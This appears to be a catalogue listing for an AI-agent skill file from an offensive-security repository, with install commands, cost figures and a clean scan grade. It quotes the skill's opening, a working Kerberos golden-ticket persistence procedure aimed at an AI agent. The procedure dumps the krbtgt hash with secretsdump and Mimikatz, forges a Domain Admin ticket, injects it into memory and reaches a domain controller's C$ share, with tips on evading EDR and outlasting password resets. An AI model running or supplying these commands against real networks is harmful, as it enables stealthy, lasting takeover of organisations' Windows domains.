Getting it into your agent
It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.
git clone --depth 1 https://github.com/akashrpatil/awesome-offensive-security-skillsnpx agentmods add skills/akashrpatil/awesome-offensive-security-skills/active-directory-golden-ticketWrote this? Show the measurements
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Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00077 | $0.02161 |
| Opus 5.5 | $0.00031 | $0.00864 |
| Sonnet 5.5 | $0.00015 | $0.00432 |
| Haiku 4.5 | $0.00008 | $0.00216 |
Grade A, and why
active-directory-golden-ticket scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
This is a copy
100% identical to active-directory-golden-ticket — 0 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 166 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Active Directory Persistence: Golden Ticket
When to Use
- After fully compromising an Active Directory domain (Domain Admin privileges achieved).
- To maintain long-term, stealthy access (Persistence) to a network during prolonged Red Team ops.
- To simulate high-end APT behaviors (e.g., APT29/Cozy Bear, SolarWinds breach).
- When you foresee the blue team discovering your current access and resetting traditional passwords.
Prerequisites
- Administrative or SYSTEM-level access on the target Windows/Linux host
- Understanding of the target's monitoring posture (Sysmon, EDR coverage)
- C2 framework beacon or payload ready for deployment
- Cleanup procedure documented before persistence is established
Workflow
Phase 1: Obtaining the KRBTGT Hash (The Keys to the Kingdom)
# Concept: In Active Directory, the KRBTGT account is a disabled, built-in account responsible
# for mathematically signing and encrypting all Kerberos TGT tickets.
# If we steal this account's NTLM Hash or AES key, we can theoretically sign our OWN tickets
# that the Domain Controllers will blindly accept as valid.
# Method 1: DCSync over the network (Loudest, but easiest)
# From a machine with Domain Admin privileges (via Impacket/Linux)
secretsdump.py CORP.LOCAL/AdminUser:[email protected] -just-dc-user krbtgt
# Method 2: Local extraction via Mimikatz (Requires RDP/Shell to the Domain Controller)
mimikatz # privilege::debug
mimikatz # lsadump::lsa /inject /name:krbtgt
# Resulting Requirement: You MUST securely record the following:
# 1. Domain Name (e.g., CORP.LOCAL)
# 2. Domain SID (e.g., S-1-5-21-29177196-1896752002-3652875151) -> Strip off the trailing -500
# 3. KRBTGT NTLM Hash (e.g., e0137ce52e935a82229dc47bc230f81d)
# Or better: KRBTGT AES256 Key (Much stealthier, harder for EDR to spot)
Phase 2: Forging the Golden Ticket (Windows / Mimikatz)
# Concept: We now leave the domain controller. You can go to a completely unprivileged
# workstation, or even a non-domain joined machine passing traffic in, and forge a ticket.
# 1. Open Mimikatz on any Windows endpoint
mimikatz # privilege::debug
# 2. Construct the purely forged ticket. Note: We assign ourselves the RID 500 (Built-in Administrator)
# and give it a valid Active Directory group of Domain Admins (512).
mimikatz # kerberos::golden /user:FakeUser /domain:CORP.LOCAL /sid:S-1-5-21-29177196-1896752002-3652875151 /krbtgt:e0137ce52e935a82229dc47bc230f81d /id:500 /groups:512,513,518,519,520 /ptt
# Note on OPSEC: Passing `/ptt` automatically injects the forged ticket into the current memory session.
# If you pass a filename (`/ticket:golden.kirbi`), it saves it to disk for later use.
# 3. Verify the ticket is in memory
klist
# 4. Access Domain Controller C$ drive as the non-existent 'FakeUser'
dir \\dc01.corp.local\C$
# SUCCESS: Total Domain Dominance achieved.
What ships with it
2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 166 lines · 77 tokens per session scan A 8ef2ab4e7688
active-directory-golden-ticket is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (13 stars, last pushed 6mo ago), licensed Apache-2.0. It adds 77 tokens to every session and 2,161 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. It is 100% identical to active-directory-golden-ticket, differing in 0 lines, and is treated as a copy.
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